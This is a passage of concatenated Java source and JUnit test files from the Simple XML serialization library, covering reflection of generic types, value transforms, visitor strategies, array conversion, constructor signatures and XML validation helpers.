private String readUTF(int index, final int utfLen, final char[] buf) {
int endIndex = index + utfLen;
byte[] b = this.b;
int strLen = 0;
int c;
int st = 0;
char cc = 0;
while (index < endIndex) {
c = b[index++];
switch (st) {
case 0:
c = c & 0xFF;
if (c < 0x80) { // 0xxxxxxx
buf[strLen++] = (char) c;
} else if (c < 0xE0 && c > 0xBF) { // 110x xxxx 10xx xxxx
cc = (char) (c & 0x1F);
st = 1;
} else { // 1110 xxxx 10xx xxxx 10xx xxxx
cc = (char) (c & 0x0F);
st = 2;
}
break;
case 1: // byte 2 of 2-byte char or byte 3 of 3-byte char
buf[strLen++] = (char) ((cc << 6) | (c & 0x3F));
st = 0;
break;
case 2: // byte 2 of 3-byte char
cc = (char) ((cc << 6) | (c & 0x3F));
st = 1;
break;
}
}
return new String(buf, 0, strLen);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ReflectorTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Collection;
import java.util.Map;
import org.simpleframework.xml.core.Reflector;
import junit.framework.TestCase;
public class ReflectorTest extends TestCase {
public Collection<String> genericList;
public Collection normalList;
public Map<Float, Double> genericMap;
public Map normalMap;
public void genericMethodMapParameter(Map<String, Integer> map) {}
public void normalMethodMapParameter(Map map) {}
public void genericMethodCollectionParameter(Collection<String> list) {}
public void normalMethodCollectionParameter(Collection list){}
public Map<String, Boolean> genericMethodMapReturn() {return null;}
public Map normalMethodMapReturn() {return null;}
public Collection<Float> genericMethodCollectionReturn() {return null;}
public Collection normalMethodCollectionReturn() {return null;}
public void testFieldReflector() throws Exception {
Field field = getField(ReflectorTest.class, "genericMap");
Class[] types = Reflector.getDependents(field);
assertEquals(types.length, 2);
assertEquals(types[0], Float.class);
assertEquals(types[1], Double.class);
field = getField(ReflectorTest.class, "normalMap");
types = Reflector.getDependents(field);
assertEquals(types.length, 0);
field = getField(ReflectorTest.class, "genericList");
types = Reflector.getDependents(field);
assertEquals(types.length, 1);
assertEquals(types[0], String.class);
field = getField(ReflectorTest.class, "normalList");
types = Reflector.getDependents(field);
assertEquals(types.length, 0);
}
public void testCollectionReflector() throws Exception {
Method method = getMethod(ReflectorTest.class, "genericMethodCollectionParameter", Collection.class);
Class[] types = Reflector.getParameterDependents(method, 0);
assertEquals(types.length, 1);
assertEquals(types[0], String.class);
method = getMethod(ReflectorTest.class, "normalMethodCollectionParameter", Collection.class);
types = Reflector.getParameterDependents(method, 0);
assertEquals(types.length, 0);
method = getMethod(ReflectorTest.class, "genericMethodCollectionReturn");
types = Reflector.getReturnDependents(method);
assertEquals(types.length, 1);
assertEquals(types[0], Float.class);
method = getMethod(ReflectorTest.class, "normalMethodCollectionReturn");
types = Reflector.getReturnDependents(method);
assertEquals(types.length, 0);
}
public void testMapReflector() throws Exception {
Method method = getMethod(ReflectorTest.class, "genericMethodMapParameter", Map.class);
Class[] types = Reflector.getParameterDependents(method, 0);
assertEquals(types.length, 2);
assertEquals(types[0], String.class);
assertEquals(types[1], Integer.class);
method = getMethod(ReflectorTest.class, "normalMethodMapParameter", Map.class);
types = Reflector.getParameterDependents(method, 0);
assertEquals(types.length, 0);
method = getMethod(ReflectorTest.class, "genericMethodMapReturn");
types = Reflector.getReturnDependents(method);
assertEquals(types.length, 2);
assertEquals(types[0], String.class);
assertEquals(types[1], Boolean.class);
method = getMethod(ReflectorTest.class, "normalMethodMapReturn");
types = Reflector.getReturnDependents(method);
assertEquals(types.length, 0);
}
public Method getMethod(Class type, String name, Class... types) throws Exception {
return type.getDeclaredMethod(name, types);
}
public Field getField(Class type, String name) throws Exception {
return type.getDeclaredField(name);
}
public void testCase() throws Exception {
assertEquals("URL", Reflector.getName("URL"));
assertEquals("getEntry", Reflector.getName("getEntry"));
assertEquals("iF", Reflector.getName("iF"));
assertEquals("if", Reflector.getName("if"));
assertEquals("URLConnection", Reflector.getName("URLConnection"));
assertEquals("type", Reflector.getName("Type"));
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/strategy/CommentTest.java<|end_filename|>
package org.simpleframework.xml.strategy;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.NodeMap;
import org.simpleframework.xml.stream.OutputNode;
public class CommentTest extends ValidationTestCase {
@Retention(RetentionPolicy.RUNTIME)
private static @interface Comment {
public String value();
}
@Root
@Default
private static class CommentExample {
@Comment("This represents the name value")
private String name;
@Comment("This is a value to be used")
private String value;
@Comment("Yet another comment")
private Double price;
}
private static class CommentVisitor implements Visitor {
public void read(Type type, NodeMap<InputNode> node) throws Exception {}
public void write(Type type, NodeMap<OutputNode> node) throws Exception {
if(!node.getNode().isRoot()) {
Comment comment = type.getAnnotation(Comment.class);
if(comment != null) {
node.getNode().setComment(comment.value());
}
}
}
}
public void testComment() throws Exception {
Visitor visitor = new CommentVisitor();
Strategy strategy = new VisitorStrategy(visitor);
Persister persister = new Persister(strategy);
CommentExample example = new CommentExample();
example.name = "<NAME>";
example.value = "A value to use";
example.price = 9.99;
persister.write(example, System.out);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/TypeMatcherTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import junit.framework.TestCase;
public class TypeMatcherTest extends TestCase {
private static class BlankMatcher implements Matcher {
public Transform match(Class type) throws Exception {
return null;
}
}
private Matcher matcher;
public void setUp() {
this.matcher = new DefaultMatcher(new BlankMatcher());
}
public void testInteger() throws Exception {
Transform transform = matcher.match(Integer.class);
Object value = transform.read("1");
assertEquals(value, new Integer(1));
}
public void testString() throws Exception {
Transform transform = matcher.match(String.class);
Object value = transform.read("some text");
assertEquals("some text", value);
}
public void testCharacter() throws Exception {
Transform transform = matcher.match(Character.class);
Object value = transform.read("c");
assertEquals(value, new Character('c'));
}
public void testFloat() throws Exception {
Transform transform = matcher.match(Float.class);
Object value = transform.read("1.12");
assertEquals(value, new Float(1.12));
}
public void testDouble() throws Exception {
Transform transform = matcher.match(Double.class);
Object value = transform.read("12.33");
assertEquals(value, new Double(12.33));
}
public void testBoolean() throws Exception {
Transform transform = matcher.match(Boolean.class);
Object value = transform.read("true");
assertEquals(value, Boolean.TRUE);
}
public void testLong() throws Exception {
Transform transform = matcher.match(Long.class);
Object value = transform.read("1234567");
assertEquals(value, new Long(1234567));
}
public void testShort() throws Exception {
Transform transform = matcher.match(Short.class);
Object value = transform.read("12");
assertEquals(value, new Short((short)12));
}
public void testIntegerArray() throws Exception {
Transform transform = matcher.match(Integer[].class);
Object value = transform.read("1, 2, 3, 4, 5");
assertTrue(value instanceof Integer[]);
Integer[] array = (Integer[])value;
assertEquals(array.length, 5);
assertEquals(array[0], new Integer(1));
assertEquals(array[1], new Integer(2));
assertEquals(array[2], new Integer(3));
assertEquals(array[3], new Integer(4));
assertEquals(array[4], new Integer(5));
}
public void testPrimitiveIntegerArray() throws Exception {
Matcher matcher = new DefaultMatcher(new BlankMatcher());
Transform transform = matcher.match(int[].class);
Object value = transform.read("1, 2, 3, 4, 5");
assertTrue(value instanceof int[]);
int[] array = (int[])value;
assertEquals(array.length, 5);
assertEquals(array[0], 1);
assertEquals(array[1], 2);
assertEquals(array[2], 3);
assertEquals(array[3], 4);
assertEquals(array[4], 5);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/strategy/VisitorStrategy.java<|end_filename|>
/*
* VisitorStrategy.java January 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.strategy;
import java.util.Map;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.NodeMap;
import org.simpleframework.xml.stream.OutputNode;
/**
* The <code>VisitorStrategy</code> object is a simplification of a
* strategy, which allows manipulation of the serialization process.
* Typically implementing a <code>Strategy</code> is impractical as
* it requires the implementation to determine the type a node
* represents. Instead it is often easier to visit each node that
* is being serialized or deserialized and manipulate it so that
* the resulting XML can be customized.
* <p>
* To perform customization in this way a <code>Visitor</code> can
* be implemented. This can be passed to this strategy which will
* ensure the visitor is given each XML element as it is either
* being serialized or deserialized. Such an inversion of control
* allows the nodes to be manipulated with little effort. By
* default this used <code>TreeStrategy</code> object as a default
* strategy to delegate to. However, any strategy can be used.
*
* @author <NAME>
*
* @see org.simpleframework.xml.strategy.Visitor
*/
public class VisitorStrategy implements Strategy {
/**
* This is the strategy that is delegated to by this strategy.
*/
private final Strategy strategy;
/**
* This is the visitor that is used to intercept serialization.
*/
private final Visitor visitor;
/**
* Constructor for the <code>VisitorStrategy</code> object. This
* strategy requires a visitor implementation that can be used
* to intercept the serialization and deserialization process.
*
* @param visitor this is the visitor used for interception
*/
public VisitorStrategy(Visitor visitor) {
this(visitor, new TreeStrategy());
}
/**
* Constructor for the <code>VisitorStrategy</code> object. This
* strategy requires a visitor implementation that can be used
* to intercept the serialization and deserialization process.
*
* @param visitor this is the visitor used for interception
* @param strategy this is the strategy to be delegated to
*/
public VisitorStrategy(Visitor visitor, Strategy strategy) {
this.strategy = strategy;
this.visitor = visitor;
}
/**
* This method will read with an internal strategy after it has
* been intercepted by the visitor. Interception of the XML node
* before it is delegated to the internal strategy allows the
* visitor to change some attributes or details before the node
* is interpreted by the strategy.
*
* @param type this is the type of the root element expected
* @param node this is the node map used to resolve an override
* @param map this is used to maintain contextual information
*
* @return the value that should be used to describe the instance
*/
public Value read(Type type, NodeMap<InputNode> node, Map map) throws Exception {
if(visitor != null) {
visitor.read(type, node);
}
return strategy.read(type, node, map);
}
/**
* This method will write with an internal strategy before it has
* been intercepted by the visitor. Interception of the XML node
* before it is delegated to the internal strategy allows the
* visitor to change some attributes or details before the node
* is interpreted by the strategy.
*
* @param type this is the type of the root element expected
* @param node this is the node map used to resolve an override
* @param map this is used to maintain contextual information
*
* @return the value that should be used to describe the instance
*/
public boolean write(Type type, Object value, NodeMap<OutputNode> node, Map map) throws Exception {
boolean result = strategy.write(type, value, node, map);
if(visitor != null) {
visitor.write(type, node);
}
return result;
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/CompositeArray.java<|end_filename|>
/*
* CompositeArray.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.reflect.Array;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.OutputNode;
import org.simpleframework.xml.stream.Position;
/**
* The <code>CompositeArray</code> object is used to convert a list of
* elements to an array of object entries. This in effect performs a
* root serialization and deserialization of entry elements for the
* array object. On serialization each objects type must be checked
* against the array component type so that it is serialized in a form
* that can be deserialized dynamically.
* <pre>
*
* <array length="2">
* <entry>
* <text>example text value</text>
* </entry>
* <entry>
* <text>some other example</text>
* </entry>
* </array>
*
* </pre>
* For the above XML element list the element <code>entry</code> is
* contained within the array. Each entry element is deserialized as
* a root element and then inserted into the array. For serialization
* the reverse is done, each element taken from the array is written
* as a root element to the parent element to create the list. Entry
* objects do not need to be of the same type.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.Traverser
* @see org.simpleframework.xml.ElementArray
*/
class CompositeArray implements Converter {
/**
* This factory is used to create an array for the contact.
*/
private final ArrayFactory factory;
/**
* This performs the traversal used for object serialization.
*/
private final Traverser root;
/**
* This is the name to wrap each entry that is represented.
*/
private final String parent;
/**
* This is the entry type for elements within the array.
*/
private final Type entry;
/**
* This represents the actual field or method for the array.
*/
private final Type type;
/**
* Constructor for the <code>CompositeArray</code> object. This is
* given the array type for the contact that is to be converted. An
* array of the specified type is used to hold the deserialized
* elements and will be the same length as the number of elements.
*
* @param context this is the context object used for serialization
* @param type this is the field type for the array being used
* @param entry this is the entry type for the array elements
* @param parent this is the name to wrap the array element with
*/
public CompositeArray(Context context, Type type, Type entry, String parent) {
this.factory = new ArrayFactory(context, type);
this.root = new Traverser(context);
this.parent = parent;
this.entry = entry;
this.type = type;
}
/**
* This <code>read</code> method will read the XML element list from
* the provided node and deserialize its children as entry types.
* This ensures each entry type is deserialized as a root type, that
* is, its <code>Root</code> annotation must be present and the
* name of the entry element must match that root element name.
*
* @param node this is the XML element that is to be deserialized
*
* @return this returns the item to attach to the object contact
*/
public Object read(InputNode node) throws Exception{
Instance type = factory.getInstance(node);
Object list = type.getInstance();
if(!type.isReference()) {
return read(node, list);
}
return list;
}
/**
* This <code>read</code> method will read the XML element list from
* the provided node and deserialize its children as entry types.
* This ensures each entry type is deserialized as a root type, that
* is, its <code>Root</code> annotation must be present and the
* name of the entry element must match that root element name.
*
* @param node this is the XML element that is to be deserialized
* @param list this is the array that is to be deserialized
*
* @return this returns the item to attach to the object contact
*/
public Object read(InputNode node, Object list) throws Exception{
int length = Array.getLength(list);
for(int pos = 0; true; pos++) {
Position line = node.getPosition();
InputNode next = node.getNext();
if(next == null) {
return list;
}
if(pos >= length){
throw new ElementException("Array length missing or incorrect for %s at %s", type, line);
}
read(next, list, pos);
}
}
/**
* This is used to read the specified node from in to the list. If
* the node is null then this represents a null element value in
* the array. The node can be null only if there is a parent and
* that parent contains no child XML elements.
*
* @param node this is the node to read the array value from
* @param list this is the list to add the array value in to
* @param index this is the offset to set the value in the array
*/
private void read(InputNode node, Object list, int index) throws Exception {
Class type = entry.getType();
Object value = null;
if(!node.isEmpty()) {
value = root.read(node, type);
}
Array.set(list, index, value);
}
/**
* This <code>validate</code> method will validate the XML element
* list against the provided node and validate its children as entry
* types. This ensures each entry type is validated as a root type,
* that is, its <code>Root</code> annotation must be present and the
* name of the entry element must match that root element name.
*
* @param node this is the XML element that is to be validated
*
* @return true if the element matches the XML schema class given
*/
public boolean validate(InputNode node) throws Exception{
Instance value = factory.getInstance(node);
if(!value.isReference()) {
Object result = value.setInstance(null);
Class type = value.getType();
return validate(node, type);
}
return true;
}
/**
* This <code>validate</code> method wll validate the XML element
* list against the provided node and validate its children as entry
* types. This ensures each entry type is validated as a root type,
* that is, its <code>Root</code> annotation must be present and the
* name of the entry element must match that root element name.
*
* @param node this is the XML element that is to be validated
* @param type this is the array type used to create the array
*
* @return true if the element matches the XML schema class given
*/
private boolean validate(InputNode node, Class type) throws Exception{
while(true) {
InputNode next = node.getNext();
if(next == null) {
return true;
}
if(!next.isEmpty()) {
root.validate(next, type);
}
}
}
/**
* This <code>write</code> method will write the specified object
* to the given XML element as as array entries. Each entry within
* the given array must be assignable to the array component type.
* Each array entry is serialized as a root element, that is, its
* <code>Root</code> annotation is used to extract the name.
*
* @param source this is the source object array to be serialized
* @param node this is the XML element container to be populated
*/
public void write(OutputNode node, Object source) throws Exception {
int size = Array.getLength(source);
for(int i = 0; i < size; i++) {
Object item = Array.get(source, i);
Class type = entry.getType();
root.write(node, item, type, parent);
}
node.commit();
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/PrimitiveListTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringReader;
import java.util.List;
import java.util.Vector;
import junit.framework.TestCase;
import org.simpleframework.xml.strategy.TreeStrategy;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.NodeBuilder;
public class PrimitiveListTest extends TestCase {
public static final String TWO =
"<array class='java.util.Vector'>"+
" <entry>one</entry>" +
" <entry>two</entry>" +
"</array>";
public void testTwo() throws Exception {
Context context = new Source(new TreeStrategy(), new Support(), new Session());
PrimitiveList primitive = new PrimitiveList(context, new ClassType(List.class), new ClassType(String.class), "entry");
InputNode node = NodeBuilder.read(new StringReader(TWO));
Object value = primitive.read(node);
assertEquals(value.getClass(), Vector.class);
Vector vector = (Vector) value;
assertEquals(vector.get(0), "one");
assertEquals(vector.get(1), "two");
InputNode newNode = NodeBuilder.read(new StringReader(TWO));
assertTrue(primitive.validate(newNode));
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Signature.java<|end_filename|>
/*
* Signature.java April 2009
*
* Copyright (C) 2009, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.reflect.Constructor;
import java.util.Iterator;
import java.util.List;
/**
* The <code>Signature</code> object represents a constructor
* of parameters iterable in declaration order. This is used so
* that parameters can be acquired by name for validation. It is
* also used to create an array of <code>Parameter</code> objects
* that can be used to acquire the correct deserialized values
* to use in order to instantiate the object.
*
* @author <NAME>
*/
class Signature implements Iterable<Parameter> {
/**
* This is the map of parameters that this signature uses.
*/
private final ParameterMap parameters;
/**
* This is the type that the parameters are created for.
*/
private final Constructor factory;
/**
* This is the type that the signature was created for.
*/
private final Class type;
/**
* Constructor for the <code>Signature</code> object. This
* is used to create a hash map that can be used to acquire
* parameters by name. It also provides the parameters in
* declaration order within a for each loop.
*
* @param signature this is the signature to be copied
*/
public Signature(Signature signature) {
this(signature.factory, signature.type);
}
/**
* Constructor for the <code>Signature</code> object. This
* is used to create a hash map that can be used to acquire
* parameters by name. It also provides the parameters in
* declaration order within a for each loop.
*
* @param factory this is the constructor this represents
*/
public Signature(Constructor factory) {
this(factory, factory.getDeclaringClass());
}
/**
* Constructor for the <code>Signature</code> object. This
* is used to create a hash map that can be used to acquire
* parameters by name. It also provides the parameters in
* declaration order within a for each loop.
*
* @param factory this is the constructor this represents
* @param type this is the type the map is created for
*/
public Signature(Constructor factory, Class type) {
this.parameters = new ParameterMap();
this.factory = factory;
this.type = type;
}
/**
* This represents the number of parameters this signature has.
* A signature with no parameters is the default no argument
* constructor, anything else is a candidate for injection.
*
* @return this returns the number of annotated parameters
*/
public int size() {
return parameters.size();
}
/**
* This is used to determine if there are any parameters in the
* signature. If the signature contains no parameters then this
* will return true, if it does then this returns false.
*
* @return this returns true of the signature has no parameters
*/
public boolean isEmpty() {
return parameters.isEmpty();
}
/**
* This returns true if the signature contains a parameter that
* is mapped to the specified key. If no parameter exists with
* this key then this will return false.
*
* @param key this is the key the parameter is mapped to
*
* @return this returns true if there is a parameter mapping
*/
public boolean contains(Object key) {
return parameters.containsKey(key);
}
/**
* This is used to iterate over <code>Parameter</code> objects.
* Parameters are iterated in the order that they are added to
* the map. This is primarily used for convenience iteration.
*
* @return this returns an iterator for the parameters
*/
public Iterator<Parameter> iterator() {
return parameters.iterator();
}
/**
* This is used to remove a parameter from the signature. This
* returns any parameter removed if it exists, if not then this
* returns null. This is used when performing matching.
*
* @param key this is the key of the parameter to remove
*
* @return this returns the parameter that was removed
*/
public Parameter remove(Object key) {
return parameters.remove(key);
}
/**
* This is used to acquire a <code>Parameter</code> using the
* position of that parameter within the constructor. This
* allows a builder to determine which parameters to use.
*
* @param ordinal this is the position of the parameter
*
* @return this returns the parameter for the position
*/
public Parameter get(int ordinal) {
return parameters.get(ordinal);
}
/**
* This is used to acquire the parameter based on its name. This
* is used for convenience when the parameter name needs to be
* matched up with an annotated field or method.
*
* @param key this is the key of the parameter to acquire
*
* @return this is the parameter mapped to the given name
*/
public Parameter get(Object key) {
return parameters.get(key);
}
/**
* This is used to acquire an list of <code>Parameter</code>
* objects in declaration order. This list will help with the
* resolution of the correct constructor for deserialization
* of the XML. It also provides a faster method of iteration.
*
* @return this returns the parameters in declaration order
*/
public List<Parameter> getAll() {
return parameters.getAll();
}
/**
* This will add the provided parameter to the signature. The
* parameter is added to the signature mapped to the key of
* the parameter. If the key is null it is not added.
*
* @param parameter this is the parameter to be added
*/
public void add(Parameter parameter) {
Object key = parameter.getKey();
if(key != null) {
parameters.put(key, parameter);
}
}
/**
* This will add a new mapping to the signature based on the
* provided key. Adding a mapping to a parameter using something
* other than the key for the parameter allows for resolution
* of the parameter based on a path or a name if desired.
*
* @param key this is the key to map the parameter to
*
* @param parameter this is the parameter to be mapped
*/
public void set(Object key, Parameter parameter) {
parameters.put(key, parameter);
}
/**
* This is used to instantiate the object using the default no
* argument constructor. If for some reason the object can not be
* instantiated then this will throw an exception with the reason.
*
* @return this returns the object that has been instantiated
*/
public Object create() throws Exception {
if(!factory.isAccessible()) {
factory.setAccessible(true);
}
return factory.newInstance();
}
/**
* This is used to instantiate the object using a constructor that
* takes deserialized objects as arguments. The objects that have
* been deserialized are provided in declaration order so they can
* be passed to the constructor to instantiate the object.
*
* @param list this is the list of objects used for instantiation
*
* @return this returns the object that has been instantiated
*/
public Object create(Object[] list) throws Exception {
if(!factory.isAccessible()) {
factory.setAccessible(true);
}
return factory.newInstance(list);
}
/**
* This is used to build a <code>Signature</code> with the given
* context so that keys are styled. This allows serialization to
* match styled element names or attributes to ensure that they
* can be used to acquire the parameters.
*
* @return this returns a signature with styled keys
*/
public Signature copy() throws Exception {
Signature signature = new Signature(this);
for(Parameter parameter : this) {
signature.add(parameter);
}
return signature;
}
/**
* This is the type associated with the <code>Signature</code>.
* All instances returned from this creator will be of this type.
*
* @return this returns the type associated with the signature
*/
public Class getType() {
return type;
}
/**
* This is used to acquire a descriptive name for the instantiator.
* Providing a name is useful in debugging and when exceptions are
* thrown as it describes the constructor the instantiator represents.
*
* @return this returns the name of the constructor to be used
*/
public String toString() {
return factory.toString();
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/util/Cache.java<|end_filename|>
/*
* Cache.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.util;
/**
* The <code>Cache</code> interface is used to represent a cache
* that will store key value pairs. The cache exposes only several
* methods to ensure that implementations can focus on performance
* concerns rather than how to manage the cached values.
*
* @author <NAME>
*/
public interface Cache<T> {
/**
* This method is used to determine if the cache is empty. This
* is done by checking if there are any elements in the cache.
* If anything has been cached this will return false.
*
* @return this returns true if the cache is empty
*/
boolean isEmpty();
/**
* This method is used to insert a key value mapping in to the
* cache. The value can later be retrieved or removed from the
* cache if desired. If the value associated with the key is
* null then nothing is stored within the cache.
*
* @param key this is the key to cache the provided value to
* @param value this is the value that is to be cached
*/
void cache(Object key, T value);
/**
* This is used to exclusively take the value mapped to the
* specified key from the cache. Invoking this is effectively
* removing the value from the cache.
*
* @param key this is the key to acquire the cache value with
*
* @return this returns the value mapped to the specified key
*/
T take(Object key);
/**
* This method is used to get the value from the cache that is
* mapped to the specified key. If there is no value mapped to
* the specified key then this method will return a null.
*
* @param key this is the key to acquire the cache value with
*
* @return this returns the value mapped to the specified key
*/
T fetch(Object key);
/**
* This is used to determine whether the specified key exists
* with in the cache. Typically this can be done using the
* fetch method, which will acquire the object.
*
* @param key this is the key to check within this segment
*
* @return true if the specified key is within the cache
*/
boolean contains(Object key);
}
<|start_filename|>src/test/java/org/simpleframework/xml/convert/HideEnclosingConverterTest.java<|end_filename|>
package org.simpleframework.xml.convert;
import java.io.StringWriter;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.strategy.Strategy;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.OutputNode;
public class HideEnclosingConverterTest extends ValidationTestCase {
public static class EntryConverter implements Converter<Entry> {
private final Serializer serializer;
public EntryConverter() {
this.serializer = new Persister();
}
public Entry read(InputNode node) throws Exception {
return serializer.read(Entry.class, node);
}
public void write(OutputNode node, Entry entry) throws Exception {
if(!node.isCommitted()) {
node.remove();
}
serializer.write(entry, node.getParent());
}
}
@Default(required=false)
public static class Entry {
private final String name;
private final String value;
public Entry(@Element(name="name", required=false) String name, @Element(name="value", required=false) String value){
this.name = name;
this.value = value;
}
public String getName(){
return name;
}
public String getValue(){
return value;
}
}
@Default
public static class EntryHolder {
@Convert(EntryConverter.class)
private final Entry entry;
private final String name;
@Attribute
private final int code;
public EntryHolder(@Element(name="entry") Entry entry, @Element(name="name") String name, @Attribute(name="code") int code) {
this.entry = entry;
this.name = name;
this.code = code;
}
public Entry getEntry(){
return entry;
}
public String getName() {
return name;
}
public int getCode() {
return code;
}
}
public void testWrapper() throws Exception{
Strategy strategy = new AnnotationStrategy();
Serializer serializer = new Persister(strategy);
Entry entry = new Entry("name", "value");
EntryHolder holder = new EntryHolder(entry, "test", 10);
StringWriter writer = new StringWriter();
serializer.write(holder, writer);
System.out.println(writer.toString());
serializer.read(EntryHolder.class, writer.toString());
System.err.println(writer.toString());
String sourceXml = writer.toString();
assertElementExists(sourceXml, "/entryHolder");
assertElementHasAttribute(sourceXml, "/entryHolder", "code", "10");
assertElementExists(sourceXml, "/entryHolder/entry");
assertElementExists(sourceXml, "/entryHolder/entry/name");
assertElementHasValue(sourceXml, "/entryHolder/entry/name", "name");
assertElementExists(sourceXml, "/entryHolder/entry/value");
assertElementHasValue(sourceXml, "/entryHolder/entry/value", "value");
assertElementExists(sourceXml, "/entryHolder/name");
assertElementHasValue(sourceXml, "/entryHolder/name", "test");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/ValidationTestCase.java<|end_filename|>
package org.simpleframework.xml;
import java.io.File;
import java.io.FileOutputStream;
import java.io.StringReader;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;
import java.util.Queue;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import junit.framework.TestCase;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.strategy.CycleStrategy;
import org.simpleframework.xml.strategy.Strategy;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.strategy.Visitor;
import org.simpleframework.xml.strategy.VisitorStrategy;
import org.simpleframework.xml.stream.CamelCaseStyle;
import org.simpleframework.xml.stream.Format;
import org.simpleframework.xml.stream.HyphenStyle;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.NodeMap;
import org.simpleframework.xml.stream.OutputNode;
import org.simpleframework.xml.stream.Style;
import org.w3c.dom.CDATASection;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.InputSource;
public class ValidationTestCase extends TestCase {
//private static TransformerFactory transformerFactory;
//private static Transformer transformer;
private static DocumentBuilderFactory builderFactory;
private static DocumentBuilder builder;
static {
try {
builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
builder = builderFactory.newDocumentBuilder();
//transformerFactory = TransformerFactory.newInstance();
//transformer = transformerFactory.newTransformer();
} catch(Exception cause) {
cause.printStackTrace();
}
}
public void testDirectory() throws Exception {
assertTrue(FileSystem.validFileSystem());
}
public static synchronized void validate(Serializer out, Object type) throws Exception {
validate(type, out);
}
public static synchronized void validate(Object type, Serializer out) throws Exception {
String fileName = type.getClass().getSimpleName() + ".xml";
StringWriter buffer = new StringWriter();
out.write(type, buffer);
String text = buffer.toString();
byte[] octets = text.getBytes("UTF-8");
System.out.write(octets);
System.out.flush();
FileSystem.writeBytes(fileName, octets);
validate(text);
//File domDestination = new File(directory, type.getClass().getSimpleName() + ".dom.xml");
//File asciiDestination = new File(directory, type.getClass().getSimpleName() + ".ascii-dom.xml");
//OutputStream domFile = new FileOutputStream(domDestination);
//OutputStream asciiFile = new FileOutputStream(asciiDestination);
//Writer asciiOut = new OutputStreamWriter(asciiFile, "iso-8859-1");
/*
* This DOM document is the result of serializing the object in to a
* string. The document can then be used to validate serialization.
*/
//Document doc = builder.parse(new InputSource(new StringReader(text)));
//transformer.setOutputProperty(OutputKeys.INDENT, "yes");
//transformer.transform(new DOMSource(doc), new StreamResult(domFile));
//transformer.transform(new DOMSource(doc), new StreamResult(asciiOut));
//domFile.close();
//asciiFile.close();
out.validate(type.getClass(), text);
String hyphenFile = type.getClass().getSimpleName() + ".hyphen.xml";
Strategy strategy = new CycleStrategy("ID", "REFERER");
Visitor visitor = new DebugVisitor();
strategy = new VisitorStrategy(visitor, strategy);
Style style = new HyphenStyle();
Format format = new Format(style);
Persister hyphen = new Persister(strategy, format);
StringWriter hyphenWriter = new StringWriter();
hyphen.write(type, hyphenWriter);
hyphen.write(type, System.out);
hyphen.read(type.getClass(), hyphenWriter.toString());
FileSystem.writeString(hyphenFile, hyphenWriter.toString());
String camelCaseFile = type.getClass().getSimpleName() + ".camel-case.xml";
